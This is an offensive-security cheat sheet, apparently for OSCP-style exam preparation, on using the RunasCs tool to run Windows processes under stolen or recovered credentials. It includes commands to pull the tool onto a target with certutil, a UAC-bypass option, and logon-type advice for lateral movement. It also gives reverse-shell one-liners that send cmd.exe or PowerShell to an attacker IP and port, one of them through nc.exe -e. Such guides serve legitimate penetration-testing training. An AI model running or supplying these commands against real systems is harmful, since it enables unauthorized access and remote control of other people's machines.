RunasCs — Run As Another User (Windows)

RunasCs (antonioCoco/RunasCs) runs a process under different credentials — open-source upgrade over built-in runas.exe. Supports logon types, remote stdin/stdout redirect, and optional UAC bypass.

OSCP use: You have username + password (or recovered creds) but runas fails or gives no shell → RunasCs with -l 8 (NetworkCleartext) or -r reverse redirect.

Alternatives: evil-winrm, Impacket psexec/wmiexec, CrackMapExec - nxc exec.


Download & Transfer

# Kali — fetch release
# https://github.com/antonioCoco/RunasCs/releases
 
# Serve to target
python3 -m http.server 8080
# Target:
certutil -urlcache -split -f http://192.168.49.126/RunasCs.exe RunasCs.exe

See certutil · File Transfer


📌 Syntax

RunasCs.exe username password "command" [options]
RunasCs.exe -d DOMAIN -u user -p pass "command"
FlagDescription
-d, --domainDomain name
-u, --usernameUsername
-p, --passwordPassword (when using -u)
-l, --logon-type NLogon type (see below)
-r, --remote host:portRedirect stdin/stdout/stderr to attacker (reverse shell)
-f, --functionCreateProcess / CreateProcessWithTokenW / CreateProcessWithLogonW
-b, --bypass-uacAttempt UAC bypass (unfiltered token)
--force-profileCreate/load user profile
-i, --remote-impersonationImpersonate logged-on user token
--process-timeoutKill process after N ms

📌 Logon Types (important)

TypeNameNotes
2InteractiveDefault — UAC filters local token
8NetworkCleartextPreferred for lateral movement — fewer UAC limits, works over network
REM Prefer logon type 8
RunasCs.exe user pass "cmd.exe /c whoami" -d corp.local -l 8

📌 Examples

Run command as domain user

RunasCs.exe jsmith Password123! "whoami" -d corp.local -l 8
RunasCs.exe jsmith Password123! "cmd.exe /c ipconfig" -d corp.local -l 8

Reverse shell via remote redirect

# Attacker
nc -lvnp 443
REM Target — stdout/stderr to your listener
RunasCs.exe user pass powershell.exe -r 10.10.14.5:443 -l 8
RunasCs.exe user pass "C:\Windows\Temp\nc.exe 10.10.14.5 443 -e cmd.exe" -d corp.local -l 8

Spawn PowerShell on remote host (from writeup pattern)

RunasCs.exe -d corp.local -l 8 "jsmith" "Password1" "powershell.exe -ep bypass -f C:\Temp\shell.ps1"

📌 When to Use What

SituationTool
WinRM open, have credsevil-winrm
SMB admin, need shell from LinuxImpacket wmiexec/psexec
On Windows shell, have creds, runas failsRunasCs -l 8
Have NTLM hash onlyImpacket -hashes · CrackMapExec - nxc
Need LDAP/AD writebloodyAD

Chain: found password → Credential Graph → try everywhere → RunasCs on Windows if remote exec blocked.


📌 Quick Cheat Sheet

RunasCs.exe USER PASS "whoami" -d DOMAIN -l 8
RunasCs.exe USER PASS powershell.exe -r ATTACKER:443 -l 8